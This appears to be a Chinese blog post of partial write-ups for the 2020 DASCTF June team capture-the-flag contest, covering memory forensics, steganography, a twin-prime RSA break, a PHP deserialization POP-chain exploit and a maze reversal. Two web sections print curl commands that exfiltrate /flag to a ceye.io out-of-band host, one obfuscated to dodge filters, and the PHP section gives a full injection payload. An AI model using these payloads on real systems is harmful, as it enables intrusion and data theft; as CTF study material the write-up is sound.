本篇内容

MISC:

Keyboard
透明度

Crypto:

Gemini_Man

Web:

简单的计算题1
简单的计算题2
phpuns

Reverse:

easy_maze

上一篇 | 目录 | 下一篇

刚打了DASCTF六月团队赛,情况虽不是很理想,但也记录一下团队解题情况。

Keyboard

尝试了很久发现没思路,搜索一下,发现是安恒DASCTF 四月战原题,甚至连flag都没变。

//查找含“keyboard”的文件
volatility -f Keyboard.raw --profile=Win7SP1x64 filescan | grep keyboard
//将t.txt提取出来,-Q是偏移量,-D是存储的文件夹
volatility -f Keyboard.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003d700880 -D ./


查看file.None.0xfffffa8004cefa80.dat文件内容

root@Kali:~ # cat file.None.0xfffffa8004cefa80.dat
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here2020- 3-29 22:35:302020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu2020- 3-29 22:39:24
But the password is in uppercase2020- 3-29 22:38:55
a

ctfwikiCRYPTO可知在ctfwiki里去查找,解密方式为

解密得到密码KEYBOARDDRAOBYEK

密文:CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
明文:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
小写:veracrypt password is keyboarddraobyek

使用VeraCrypt软件打开Secret,此软件下载地址为https://www.veracrypt.fr/en/Downloads.html。

点击“Mount”挂载后需要我们输入刚才得到的密码

OK后本机就会多一个盘符G,里面是一个虚拟磁盘here.vhd

打开计算机管理,在磁盘管理处右键附加VHD,就会再多一个盘符H

里面有个假的flag

NTFS隐写,使用NtfsStreamsEditor2工具打开得到flag

flag为4a02f6dc603c377a234df479609d237c


透明度

使用StegSolve隐写工具打开,发现Alpha plane7Alpha plane 0有异常

分析一下,Analyse->Data Extract,结果如下:

发现是zip压缩包,直接Save Bin保存为zip,解压发现需要密码。
密码是nep__.txt可知爆破即可,得到密码nepnb

查看得到flag。

flag为a22a96d7fc5dfd2182c593630851e44fed0adbe6


Gemini_Man
题目一开始的提示是简单孪生素数生成的N的分解
百度了一下孪生素数:

孪生素数就是指相差2的素数对,例如3和5,5和7,11和13…。
素数对(p,p+2)称为孪生素数。

此题已知N、C,可知是个RSA的题目。
也就是N = p(p+2)N+1 = p(p+2)+1=p^2+2p+1=(p+1)^2
即对N+1开方的值就是p+1
使用Python写个脚本跑出p+1

import math
import gmpy2
f1 = open('N.txt')
f2 = open('p.txt','w')
n = int(f1.read()) + 1
p = gmpy2.iroot(n, 2)
f2.write(str(p))
f1.close()
f2.close()

得到p、q如下:

617951......154111   //此处的......省略了几万个数字
617951......154113  //此处的......省略了几万个数字

e的值题目没给,就用默认的65537,跑RSA脚本:

import gmpy2 as gp
import binascii
f = open('res.txt','a+')
#同样的,此处的......省略了几万个数字
p = 617951......154111
q = 617951......154113
e = 65537
c = 129592......625910p = gp.mpz(p)
q = gp.mpz(q)
e = gp.mpz(e)
c = gp.mpz(c)
n = p*qdef fastExpMod(c, d, n):result = 1while d != 0:if (d&1) == 1:# di = 1, then mulresult = (result * c) % nd >>= 1# c, c^2, c^4, c^8, ... , c^(2^n)c = (c*c) % nreturn resultphi = (p-1) * (q-1)
d = gp.invert(e, phi)
f.write('d='+str(d))
m = fastExpMod(c,d,n)
f.write('\n\nm='+str(m))
f.write('\n\nhex(m)[2:]='+hex(m)[2:])
f.write('\n\nbytes.fromhex(hex(m)[2:])='+str(bytes.fromhex(hex(m)[2:])))
f.close()

脚本跑了一个晚上,终于跑出了结果

flag为e540b1fd7d4459619eecd244c12ae5c4


简单的计算题1

目前题目不能访问,记录一下思路:
能执行命令,但是没有回显,使用外带通道,借助CEYE平台。

os.system('curl xxxx.ceye.io/`cat /flag`')

后来这道题目整改了,好像此payload不能用了。


简单的计算题2

目前题目不能访问,记录一下思路:
能执行命令,但是没有回显,使用外带通道,借助CEYE平台。
过滤了os、system之类的,借助exec()函数。

exec('o'+'s'+'.sy'+'stem("curl xxxx.ceye.io/`cat /flag`")')

phpuns

index.php:

<?php
if(isset($_POST['username']) && isset($_POST['password'])){$username = $_POST['username'];$password = $_POST['password'] ;$user = new User($username, $password);$_SESSION['info'] = add(serialize($user));redirect('info.php');
}

class.php

<?php
class User{protected $username;protected $password;protected $admin;public function __construct($username, $password){$this->username = $username;$this->password = $password;$this->admin = 0;}public function get_admin(){return $this->admin;}
}
class Hacker_A{public $c2e38;public function __construct($c2e38){$this->c2e38 = $c2e38;}public function __destruct() {if(stristr($this->c2e38, "admin")===False){echo("must be admin");}else{echo("good luck");}}
}
class Hacker_B{public $c2e38;public function __construct($c2e38){$this->c2e38 = $c2e38;}public function get_c2e38(){return $this->c2e38;}public function __toString(){$tmp = $this->get_c2e38();$tmp();return 'test';}}
class Hacker_C{public $name = 'test';public function __invoke(){var_dump(system('cat /flag'));}
}

pop链分析:

在Hacker_A中,__destruct()方法里将$this->c2e38与“admin”比较,触发Hacker_B的__toString();
在Hacker_B中,__toString()方法里通过调用get_c2e38()方法获取了$c2e38属性,并作为方法调用$tmp(),进而触发Hacker_C的__invoke()方法;
在Hacker_C中,__invoke()方法里的system('cat /flag'),执行得到flag

构造pop链:

$c = new Hacker_C();
$b = new Hacker_B($c);
$a = new Hacker_A($b);
print_r(serialize($a));

得到:

O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

接着看functions.php

<?php
function redirect($path)
{header('Location: ' . $path);exit();
}
function add($data)
{$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);return $data;
}
function reduce($data)
{$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);return $data;
}
function check($data)
{if(stristr($data, 'c2e38')!==False){die('exit');}
}

index.php,info.php里用到了add()、reduce()方法,输出一下看看结果:

$username = chr(0).'*'.chr(0);
$password = '\0*\0';
$user = new User($username, $password);
print_r(serialize($user));echo '<br>';
$_SESSION['info'] = add(serialize($user));
print_r(add(serialize($user)));echo '<br>';
print_r(reduce($_SESSION['info']));echo '<br>';

得到:

O:4:"User":3:{s:11:"*username";s:3:"*";s:11:"*password";s:5:"\0*\0";s:8:"*admin";i:0;}
O:4:"User":3:{s:11:"\0*\0username";s:3:"\0*\0";s:11:"\0*\0password";s:5:"\0*\0";s:8:"\0*\0admin";i:0;}
O:4:"User":3:{s:11:"*username";s:3:"*";s:11:"*password";s:5:"*";s:8:"*admin";i:0;}

原本chr(0).'*'.chr(0)的长度为3,\0*\0长度为5。
但序列化后可以明显看到将chr(0).'*'.chr(0)替换成\0*\0,或将\0*\0替换成chr(0).'*'.chr(0)后显示的长度是不变的。这里就存在字符逃逸的现象。
这里需要吞掉序列化时自动产生的";s:11:"%00*%00password";s:x:"
然后由于需要利用之前构造pop链时生成的反序列化结果,长度大于100,
所以可以利用reduce()方法吞掉";s:11:"%00*%00password";s:xxx:"共28个字符。
需要将14个\0*\0替换成%00*%00才能吞掉28个字符。
需要自己添加上s:8:"%00*%00admin";i:1;使admin不为0
最终payload

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=";s:11:"%00*%00password";s:0:"";s:8:"%00*%00admin";i:1;O:8:"Hacker_A":1:{S:5:"c2\6538";O:8:"Hacker_B":1:{S:5:"c2\6538";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

easy_maze

百度easy_maze,发现是迷宫,然后运气好的发现了类似的地方。

共有100个数,按照10*10来排列,并将0改为1,以便观察

1OOOO1111#
111OO1OOOO
OO1OO1111O
O11OOOOO1O
O1OOOO111O
O11OO11OOO
OO1OO1OOOO
OO1111OOOO
OOOOOOOOOO
OOOOOOOOOO

使用IDA打开看到106、107、117、104,ascii对应于j(下)、k(右)、u(上)、h(左)

走迷宫如下:

得到

jkkjjhjjkjjkkkuukukkuuhhhuukkkk
//MD5加密后
d77528cce6647b2c7ae7b8969023b713

flag为d77528cce6647b2c7ae7b8969023b713


========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/106974553
========================================================

DASCTF六月团队赛(2020)-部分WP相关推荐

  1. 第三届“中科实数杯”团队赛wp

    前几天刚打完第三届"中科实数杯"的团队赛,特此在这里写一下解题的过程 考试说明: 考试介绍 :

  2. BUU [ACTF新生赛2020]Universe_final_answer

    [ACTF新生赛2020]Universe_final_answer 首先查壳, 64bit 无壳 ida64位打开 main() __int64 __fastcall main(int a1, ch ...

  3. 2016第二届美亚杯全国电子数据取证大赛团队赛write up

    2016第二届美亚杯全国电子数据取证大赛 团队赛wp 本人TEL15543132658 同wechat,欢迎多多交流,wp有不足欢迎大家补充多多探讨! A部分write up 关于Hugo计算机的附加 ...

  4. BUUCTF Misc 穿越时空的思念 [ACTF新生赛2020]outguess [HBNIS2018]excel破解 [HBNIS2018]来题中等的吧

    目录 穿越时空的思念 [ACTF新生赛2020]outguess [HBNIS2018]excel破解 [HBNIS2018]来题中等的吧 穿越时空的思念 下载文件 使用Audacity打开 点击图示 ...

  5. 2021美亚杯团队赛write up(未完)

    个人赛与团队赛下载文件解压密码:MeiyaCup2021 加密容器解密密码: uR%{)Y'Qz-n3oGU`ZJo@(1ntxp8U1+bW;JlZH^I4%0rxf;[N+eQ)Lolrw& ...

  6. 20美亚团队赛,镜像+解析,由于时间不多,只做pc+内存+恶意程序。

    这是20美亚个人赛加团队赛题目,可以自行下载练习,建议先做完个人赛,因为思路是连续的.完整的案件分析也会考. 链接:https://pan.baidu.com/s/1eLQiOl6P-6Bblbh6b ...

  7. [SUCTF2018]babyre [ACTF新生赛2020]fungame

    文章目录 [SUCTF2018]babyre 惯用思维 常人思维 GAMEOVER [ACTF新生赛2020]fungame int __cdecl sub_401340(int a1) int __ ...

  8. 2020年 第11届 蓝桥杯 Java B组 省赛真题详解及小结【第1场省赛 2020.7.5】

    蓝桥杯 Java B组 省赛决赛 真题详解及小结汇总[2013年(第4届)~2021年(第12届)] 第11届 蓝桥杯-第1.2次模拟(软件类)真题-(2020年3月.4月)-官方讲解视频 说明:部分 ...

  9. 2020年 第11届 蓝桥杯 Java C组 省赛真题详解及小结【第1场省赛 2020.7.5】

    蓝桥杯 Java B组 省赛真题详解及小结汇总[2013年(第4届)~2020年(第11届)] 注意:部分代码及程序 源自 蓝桥杯 官网视频(历年真题解析) 郑未老师. 2013年 第04届 蓝桥杯 ...

最新文章

  1. 缓存核心知识小抄,面试必备,赶紧收藏!
  2. python和c学习-Cpython学习一:入门
  3. 一个python程序员需要掌握的知识-Python基础知识,初学者的你掌握了吗?
  4. java勇者大冒险_勇者大冒险 第一集 开车时英文歌 什么名
  5. 打造自己博客(wordpress)的wap手机版本
  6. 前端学习(2715):重读vue电商网站35之在sessionStorage保存左侧菜单栏的激活状态
  7. php图片上传不现实路径指向错误,上传图片提示这个错误怎么办?
  8. java组合与继承始示例_Java 9功能与示例
  9. 外壳程序(shell):命令解释器commond
  10. AMOS分析技术:模型的群组分析;AMOS如何对同一个模型分别用男性数据和女性数据拟合?
  11. Map与数组、对象之间的转换
  12. Parallel使用
  13. 九爷带你了解 深入理解 Memcache 原理
  14. 基于微信点餐外卖小程序系统设计与实现 开题报告
  15. Java网络象棋游戏(功能版)
  16. Hibernate对象状态
  17. NirCmd v2.37帮助文档中文译本
  18. asp.nett网站发布过程
  19. 6. 查询选修了课程名为“信息系统”的学生学号和姓名
  20. jsj中对象之间的赋值

热门文章

  1. Laravel博客系统开发--邮件操作(忘记/重置密码)
  2. 全局变量、局部变量和静态变量
  3. 软键盘显示的情况下弹出dialog,dialog会出现在软键盘上方
  4. HITCON 2015 lalala(SSRF)
  5. 100道c语言面试题,几道C语言面试题(华为)
  6. 微信小程序云数据库获取集合所有数据
  7. jquery easyui combotree
  8. 下划线tab切换仿手机淘宝收发货
  9. sso 登出_SSO单点登录/登出系统实现
  10. 如何当一个好的部门经理